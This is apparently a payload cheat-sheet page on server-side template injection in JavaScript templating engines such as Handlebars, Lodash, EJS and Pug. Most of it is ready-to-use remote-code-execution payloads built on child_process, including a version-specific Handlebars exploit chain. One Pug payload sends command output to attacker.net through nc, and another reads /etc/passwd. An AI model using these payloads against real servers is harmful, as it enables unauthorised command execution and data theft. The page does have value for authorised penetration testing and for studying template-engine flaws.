5.3 KiB
Server Side Template Injection - JavaScript
Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.
Summary
Templating Libraries
| Template Name | Payload Format |
|---|---|
| DotJS | {{= }} |
| DustJS | { } |
| EJS | <% %> |
| HandlebarsJS | {{ }} |
| HoganJS | {{ }} |
| Lodash | {{= }} |
| MustacheJS | {{ }} |
| NunjucksJS | {{ }} |
| PugJS | #{ } |
| TwigJS | {{ }} |
| UnderscoreJS | <% %> |
| VelocityJS | #=set($X="")$X |
| VueJS | {{ }} |
Universal Payloads
Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.
To use these payloads, wrap them in the appropriate tag.
// Rendered RCE
global.process.mainModule.require("child_process").execSync("id").toString()
// Error-Based RCE
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]
// Boolean-Based RCE
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]
// Time-Based RCE
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
NunjucksJS is also capable of executing these payloads using {{range.constructor(' ... ')()}}.
Handlebars
Handlebars compiles templates into JavaScript functions.
Handlebars - Basic Injection
{{this}}
{{self}}
Handlebars - Command Execution
This payload only work in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:
>= 4.1.0,< 4.1.2>= 4.0.0,< 4.0.14< 3.0.7
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Lodash
A modern JavaScript utility library delivering modularity, performance & extras.
Lodash - Basic Injection
How to create a template:
const _ = require('lodash');
string = "{{= username}}"
const options = {
evaluate: /\{\{(.+?)\}\}/g,
interpolate: /\{\{=(.+?)\}\}/g,
escape: /\{\{-(.+?)\}\}/g,
};
_.template(string, options);
- string: The template string.
- options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
- options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
- options.escape: It is a regular expression that specifies the HTML escape delimiter.
For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>
{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>
Lodash - Command Execution
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
Pug
Universal payloads also work for Pug.
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}